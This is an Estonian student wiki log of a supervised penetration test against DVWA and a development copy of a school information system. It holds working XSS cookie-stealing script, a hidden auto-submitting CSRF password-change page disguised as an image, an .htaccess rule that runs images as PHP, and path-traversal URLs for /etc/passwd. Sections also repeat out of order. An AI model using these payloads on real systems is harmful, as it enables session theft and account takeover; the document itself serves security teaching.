===== Fireforce plugin Firefoxis =====
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse.
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.
Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

===== Burpsuite v1.4 =====
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>

=== Urmo tegevus ===
====Subgraph Vega ====
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

==== Wapiti ====
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.

==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====
=====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

=====2. katse - ÕIS'i kasutaja parooli muutmine =====

[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Taavi tegevus ===
===Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

==Nessuse algkäivitamine==
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Matise tegevus ===
==Väike upload tegevus, mis võiks olla teisiti==
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida:
<li>filmi
<li>exe
<li>jpm faile
<br>kõik läks läbi ja sai uploadida.
<br>Sellises kohas võiks olla süsteem tehtud <b>whitelisti</b> põhimõttel,
<br>et lubatud oleks ainult:
<li>.doc
<li>.docx
<li>.pdf

=== Sanderi tegevus ===
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]
Backtarcki keskkonnas sai testitud programmi w3af.

==== Backtrack: w3af ====
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

Skänneerimine:
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlemine.

[[Media:Security_team_presentation.ppt]]

== Arvamused intensiivõppe nädala kohta ==

== Tegijad ==
Alo Konno A21

Urmo Lihten A21

Taavi Podžuks A22

Matis Alliksoo A22

Sander Saarm A22

== Juhendajad ==
Mart Mangus

Margus Ernits

Valter Kungla

Security team

2012-03-30T11:36:46Z

Mallikso: /* Väike upload tegevus, mis võiks olla teisiti */

== 1. päev - Materjalidega tutvumine ==

<h1>POOLELI!</h1>

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Meida: A9.pdf]] <br>
Taavi esitlus [[Meida: A5.pdf]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
===Security Team tegevusplaan===
1. Päev
1.1 Tutvuda OWASP’iga.
1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
2.1 Esitada tiimi tegevusplaan.
2.2 Tutvuda turvariskidega natuke põhjalikumalt.
2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
2.4 Täiendada esimese päeva ettekannet.
3. Päev
3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
3.2 Saadud tulemuste dokumenteerimine.
4. Päev
4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
5.1 Tulemuste parandamine wiki’s.

=== Alo tegevus ===

http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://www.youtube.com/watch?v=SG1cvGQ971g
http://www.isecom.org/research.html
http://evuln.com/tools/
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.
Antud programm võimaldab skännida:
Cross-Site Scripting (XSS)
SQL Injection (blind test)
File inclusion
Code Execution
LDAP Injection
Cross Frame Scripting
SQL Injection (error msg. test)
CRLF Injection
Directory Travelsal
XPath Injection
URL Redirection
Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

===== Fireforce plugin Firefoxis =====
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse.
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.
Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

===== Burpsuite v1.4 =====
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
